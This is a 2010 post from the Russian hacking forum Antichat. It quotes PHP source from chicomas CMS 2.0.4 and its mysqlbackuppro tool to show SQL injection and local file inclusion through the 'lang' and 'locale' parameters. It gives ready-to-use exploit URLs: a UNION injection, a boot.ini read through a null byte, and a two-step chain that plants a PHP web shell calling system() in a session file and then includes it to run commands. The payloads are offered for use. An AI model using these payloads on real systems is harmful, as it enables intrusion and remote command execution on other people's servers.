ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 18.02.2010, 22:45
Аватар для nikp
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

cms chicomas Ver : 2.0.4
http://sourceforge.net/projects/chicomas/

functions.php
PHP код:
function SetLanguage() {
    global 
$defaultlanguage;

    
$obj_language = new CLanguage();
    
$obj_languagearray = new CLanguageArray();
    
$obj_languageengine = new CLanguageEngine();

    if (!
$_REQUEST['lang']){
        
// No change request of language
        
if (!session_is_registered("lang")){
            
//No Registered
            
$lang $defaultlanguage;
            
session_register("lang");
            
$_SESSION['lang'] = $lang;
        }
        else{
            
//Registered
        
}
    }
    else{
        
//Change request of language
        
$lang $_REQUEST['lang'];
        
$obj_language $obj_languageengine->GetLanguage($lang);


        if (
$obj_language!=null){
            if (
session_is_registered("lang")){
                
$_SESSION['lang'] = $lang;
            }
            else{
                if (
$lang =="")
                    
$lang $defaultlanguage;
                
session_register("lang");
            }
        }
    }

    
$lang $_SESSION['lang'];

    switch (
strtolower($lang)){
    default:
    case 
"tr":
        
$charset "iso-8859-9";
    break;
    case 
"en":
        
$charset "iso-8859-1";
    break;
    case 
"de":
        
$charset "iso-8859-1";
    break;
    }

    if (
session_is_registered("charset")){
        
$_SESSION['charset'] = $charset;
    }
    else{
        if (
$charset =="")
            
$charset "iso-8859-9";
        
session_register("charset");
    }

    
//Include Language File
    
include("languages/".strtolower($_SESSION['lang'])."/language.php");

Если $obj_language = $obj_languageengine->GetLanguage($lang); вернет не пустой результат,
значение $lang = $_REQUEST['lang']; занесется в сессию и затем проинклудится
include("languages/".strtolower($_SESSION['lang'])."/language.php");

смотрим
objects/obj_languages.php
PHP код:
class CLanguageEngine {
    function 
GetLanguages($active){
        
$o_dataaccess = new CDataAccess();
        return 
$o_dataaccess->GetLanguages($active); 
objects/obj_dataaccess.php
PHP код:
    function GetLanguage($lang) {

        
$sql  "SELECT * FROM languages ";
        
$sql .= "WHERE lang='".strtolower($lang)."' ";
        
$sql .= "AND active='1'";
        
//echo "SQL:".$sql."<br>";

        
$db = new db();
        
$db->db_connect();
        if (
$db->is_connected()){
            
$db->db_query($sql);
            while (
$row $db->get_row()) {
                
$o_language = new CLanguage($row);
            }
            
$db->db_disconnect();
        }
            return 
$o_language;
    } 
при mq=off
SQL
http://localhost/chicomas/index.php?lang=en'+union+select+1,2,3,4,version(), 6+--+

SQL+LFI
http://localhost/chicomas/index.php?lang=/../../../../../../../boot.ini%00'+union+select+1,2,3,4,5,6+--+

Shell
если нашли сессию, получаем шелл, например так: (используем два разных браузера)

opera, заливаем шелл в сессию
http://localhost/chicomas/index.php?lang='+union+select+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,5,6+--+

firefox, инклудим сессию
http://localhost/chicomas/index.php?lang=/../../../../../../../Server/PHP/TMP/sess_be2c81ce822253b08bfa181ee5b7cf9d%00'+union+se lect+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,version(),6+--+&pass=dir

-------------------

tools/mysqlbackuppro/index.php
PHP код:
/*
* Locale Setting
*/
$locale gonxlocale::init();
if (!isset(
$locale) or $locale=="") {
    
$locale $GonxAdmin["locale"];
}
require_once(
"locale/".$locale.".php"); 
tools/mysqlbackuppro/libs/locale.class.php
PHP код:
class gonxlocale{
    
/**
     * Constructor
     * @access protected
     */
    
function locale(){
        
    }
    
    
/**
     *
     * @access public
     * @return void 
     **/
    
function init(){
        global 
$locale,$GonxAdmin,$HTTP_SESSION_VARS;
        if (
session_is_registered('gonxlocale') and !isset($_GET["locale"])) {
            
$locale $HTTP_SESSION_VARS["gonxlocale"];
        } elseif (!isset(
$_GET["locale"])) {
            
$locale $GonxAdmin["locale"];
            
session_register('gonxlocale');
            
$gonxlocale $locale;
        } elseif (isset(
$_GET["locale"])) {
            if (
is_file("locale/".$_GET["locale"].".php")) {
                
session_register('gonxlocale');
                
$HTTP_SESSION_VARS["gonxlocale"] = $_GET["locale"];
            }
        }
        return 
$locale;
    } 
LFI
mq=off
http://localhost/chicomas/tools/mysqlbackuppro/index.php?locale=../../../../../../boot.ini%00

Последний раз редактировалось nikp; 19.02.2010 в 20:48..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ